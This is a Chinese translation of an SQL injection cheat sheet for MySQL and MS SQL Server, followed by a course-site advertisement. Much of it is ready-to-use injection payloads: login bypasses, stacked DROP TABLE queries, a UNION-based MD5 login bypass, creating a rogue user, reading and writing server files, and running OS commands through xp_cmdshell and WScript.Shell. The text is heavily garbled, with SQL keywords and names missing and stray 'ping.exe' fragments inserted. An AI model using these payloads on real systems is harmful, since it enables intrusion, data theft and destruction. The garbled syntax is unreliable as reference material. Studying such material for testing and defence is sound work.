0x00 关于SQL注入速查表
现在仅支持MySQL、 SQL ,以及一部分和。大部分样例都不能保证每一个场景都适用。现实场景由于各种插入语、不同的代码环境以及各种不常见甚至奇特的SQL语句,而经常发生变化。
样例仅用于读者理解对于“可能出现的攻击(a )”的基础概念,并且几乎每一个部分都有一段简洁的概要
例子:
0x01 目录
关于SQL注入速查表
语法参考,攻击样例以及注入小技巧
获取用户定义表
获取字段名
@@(MS)
文件插入(Bulk )(S)
BCP(S)
SQL 的VBS/WSH(S)
执行系统命令,(S)
SQL 中的一些特殊的表(S)
SQL 的其它内置程序(S)
大量MSSQL笔记
使用LIMIT(M)或ORDER(MSO)的注入
关掉SQL (S)
获取字段类型
使用来探测字段名(S)
在查询中使用ORDER BY探测字段数(MSO+)
绕过MD5哈希检查的例子(MSP)
UNION-语言问题处理
使用了16进制的注入攻击样例
字符串的串联
MySQL的If语句
SQL 的If语句
使用了If语句的注入攻击样例
支持堆叠查询的语言/数据库
关于MySQL和PHP
堆叠注入攻击样例
使用了行内注释的注入攻击样例
MySQL版本探测攻击样例
使用了行间注释的SQL注入攻击样例
行间注释
行内注释
堆叠查询( )
If语句
整数()的使用
字符串操作
没有引号的字符串
字符串异化()与联系
Union注入
绕过登陆界面(SMO+)
绕过检查MD5哈希的登陆界面
基于错误(Error Based)-探测字段名
数据类型、UNION、之类的
简单的注入(MSO+)
有用的函数、信息收集、内置程序、大量注入笔记
在SQL 2005中启用
探测SQL 数据库的结构(S)
移动记录( )(S)
快速的脱掉基于错误(Error Based)的SQL 注入(S)
0x02 语法参考,攻击样例以及注入小技巧行间注释
注释掉查询语句的其余部分
行间注释通常用于注释掉查询语句的其余部分,这样你就不需要去修复整句语法了。
使用了行间注释的SQL注入攻击样例
用户名:admin'--
行内注释
通过不关闭注释注释掉查询语句的其余部分,或者用于绕过过滤,移除空格,混淆,或探测数据库版本。
/*! MYSQL专属 */(M)
这是个MySQL专属语法。非常适合用于探测MySQL版本。如果你在注释中写入代码,只有MySQL才会执行。同样的你也可以用这招,使得只有高于某版本的服务器才执行某些代码。 /*!32302 1/0, */ 1 FROM
使用了行内注释的注入攻击样例
ID:10; DROP TABLE /*
简单地摆脱了处理后续语句的麻烦,同样你可以使用10; DROP TABLE --
MySQL版本探测攻击样例
/*!32302 1/0, */ 1 FROM
如果MySQL的版本高于3.23.02,会抛出一个 by 0 error
ID:/*!32302 10*/
ID:10
如果MySQL版本高于3.23.02,以上两次查询你将得到相同的结果
堆叠查询( )
一句代码之中执行多个查询语句,这在每一个注入点都非常有用,尤其是使用SQL 后端的应用
支持堆叠查询的语言/数据库
绿色:支持,暗灰色:不支持,浅灰色:未知
关于MySQL和PHP
阐明一些问题。
PHP-MySQL不支持堆叠查询,Java不支持堆叠查询(的我很清楚,其他的就不确定了)。一般来说MySQL支持堆叠查询,但由于大多数PHP-Mysql应用框架的数据库层都不能执行第二条查询,或许MySQL的客户端支持这个,我不确定,有人能确认一下吗?
(译者注:MySQL 5.6.20版本下客户端支持堆叠查询)
堆叠注入攻击样例
ID:10;DROP --
构成语句: * FROM WHERE id = 10; DROP --
这在执行完正常查询之后将会执行DROP查询。
If语句
根据If语句得到响应。这是盲注(Blind SQL )的关键之一,同样也能简单而准确地进行一些测试。
MySQL的If语句SQL 的If语句使用了If语句的注入攻击样例
if (( user) = 'sa' OR ( user) = 'dbo') 1 else 1/0(S)
如果当前用户不是"sa"或者"dbo",就会抛出一个 by zero error。
整数()的使用
对于绕过十分有用,比如() 和其他类似过滤器,甚至是各种WAF。
字符串操作
与字符串相关的操作。这对于构造一个不含有引号,用于绕过或探测数据库都非常的有用。
字符串的串联
*关于MySQL的"||"这个仅在ANSI模式下的MySQL执行,其他情况下都会当成'逻辑操作符'并返回一个0。更好的做法是使用()函数。
没有引号的字符串
有很多使用字符串的方法,但是这几个方法是一直可用的。使用CHAR()(MS)和()(M)来生成没有引号的字符串
使用了16进制的注入攻击样例字符串异化()与联系Union注入
通过union你能跨表执行查询。最简单的,你能注入一个查询使得它返回另一个表的内容。 , txt FROM news UNION ALL name, pass FROM
这会把news表和表的内容合并返回。
另一个例子:' UNION 1, '', ' ', 1--
UNION-语言问题处理
当你使用Union来注入的时候,经常会遇到一些错误,这是由于不同的语言的设置(表的设置、字段设置、表或数据库的设置等等)。这些办法对于解决那些问题都挺有用的,尤其是当你处理日文,俄文,土耳其文的时候你会就会见到他们的。
绕过登陆界面(SMO+)
SQL注入101式(大概是原文名字吧?),登陆小技巧
**旧版本的MySQL不支持union*
绕过检查MD5哈希的登陆界面
如果应用是先通过用户名,读取密码的MD5,然后和你提供的密码的MD5进行比较ping.exe,那么你就需要一些额外的技巧才能绕过验证。你可以把一个已知明文的MD5哈希和它的明文一起提交,使得程序不使用从数据库中读取的哈希,而使用你提供的哈希进行比较。
绕过MD5哈希检查的例子(MSP)
用户名:admin
密码:1234 ' AND 1=0 UNION ALL 'admin','
其中 = MD5(1234)
基于错误(Error Based)-探测字段名使用来探测字段名(S)在查询中使用ORDER BY探测字段数(MSO+)
通过ORDER BY来探测字段数能够加快union注入的速度。
数据类型、UNION、之类的
提示:
获取字段类型
) UNION NULL,NULL,NULL,NULL WHERE 1=2 –-
没报错 - 语法是正确的。这是MS SQL 的语法。继续。
) UNION 1,NULL,NULL,NULL WHERE 1=2 –-
没报错 – 第一个字段是类型。
) UNION 1,2,NULL,NULL WHERE 1=2 --
报错 – 第二个字段不是类型
) UNION 1,’2’,NULL,NULL WHERE 1=2 –-
没报错 – 第二个字段是类型。
) UNION 1,’2’,3,NULL WHERE 1=2 –-
报错 – 第三个字段不是
……
OLE DB for SQL error '' from data type int to image is not .
你在遇到union错误之前会先遇到()错误,所以先使用()再用union
简单的注入(MSO+)
'; into users ( 1, 'hax0r', '', 9 )/*
有用的函数、信息收集、内置程序、大量注入笔记@@(MS)
数据库的版本。这是个常量,你能把它当做字段来,而且不需要提供表名。同样的你也可以用在/语句里面,甚至是函数里面。
INTO (id, user, pass) (1, ''+(@@,1,10) ,10)
文件插入(Bulk )(S)
把文件内容插入到表中。如果你不知道应用目录你可以去读取IIS file(仅IIS 6)(%%\.xml)然后在里面找到应用目录。
新建一个表foo(line (8000))
BULK foo FROM 'c:\login.asp'
DROP了临时表,重复另一个文件
BCP(S)
写入文件。这个功能需要登录bcp " * FROM test..foo" c:\.asp -c - -Usa -
SQL 的VBS/WSH(S)
由于的支持,你能在SQL 中使用VBS/WSH
@o int exec '.shell', @o out exec @o, 'run', NULL, '.exe'
:'; @o int exec '.shell', @o out exec @o, 'run', NULL, '.exe' --
执行系统命令,(S)
众所周知的技巧,SQL 2005默认是关闭的。你需要admin权限
EXEC .dbo. 'cmd.exe dir c:'
用ping简单的测试一下,用之前先检查一下防火墙和嗅探器。
EXEC .dbo. 'ping '
如果有错误,或者union或者其他的什么,你都不能直接读到结果。
SQL 中的一些特殊的表(S)SQL 的其它内置程序(S)
命令执行 ()
exec .. 'dir'
注册表操作 ()
ing
exec , ' \', '' exec , ' \snmp\'
管理服务()
媒体()
ODBC 资源 ()
登录 ()
创建Cab文件 ()
域名列举 ()
杀进程 (need PID) ()
新建进程 (实际上你想干嘛都行)
‘’, ‘c:tempx.dll’ exec
写文件进UNC或者内部路径 ()
大量MSSQL笔记
* FROM .. /*WHERE spid=@@SPID*/
@ int; EXEC @ = 'dir *.exe';IF (@ = 0) 0 ELSE 1/0
() (-SQL)
(-SQL)
(-SQL)
tbl EXEC .. OSQL /Q"DBCC "
(-SQL) -
你不能在 SQL 的查询里使用子查询(sub ).
使用LIMIT(M)或ORDER(MSO)的注入
id, FROM test.test t LIMIT 0,0 UNION ALL 1,'x'/*,10 ;
如果注入点在LIMIT的第二个参数处,你可以把它注释掉或者使用union注入。
关掉SQL (S)
如果你真的急了眼ping.exe,'; --
在SQL 2005中启用
默认情况下,SQL 2005中像以及其它危险的内置程序都是被禁用的。如果你有admin权限,你就可以启动它们。
`EXEC 'show ',1
EXEC '',1 `
探测SQL 数据库的结构(S)获取用户定义表
name FROM WHERE xtype = 'U'
获取字段名
name FROM WHERE id =( id FROM WHERE name = 'mes')
移动记录( )(S)快速的脱掉基于错误(Error Based)的SQL 注入(S)
';BEGIN @rt (8000) SET @rd=':' @[]+' '+name FROM WHERE id =( id FROM WHERE name = '') AND name>@rd @rd AS rd into end;--
限时特惠:本站持续每日更新海量各大内部创业课程,一年会员仅需要98元,全站资源免费下载
点击查看详情
站长微信:Jiucxh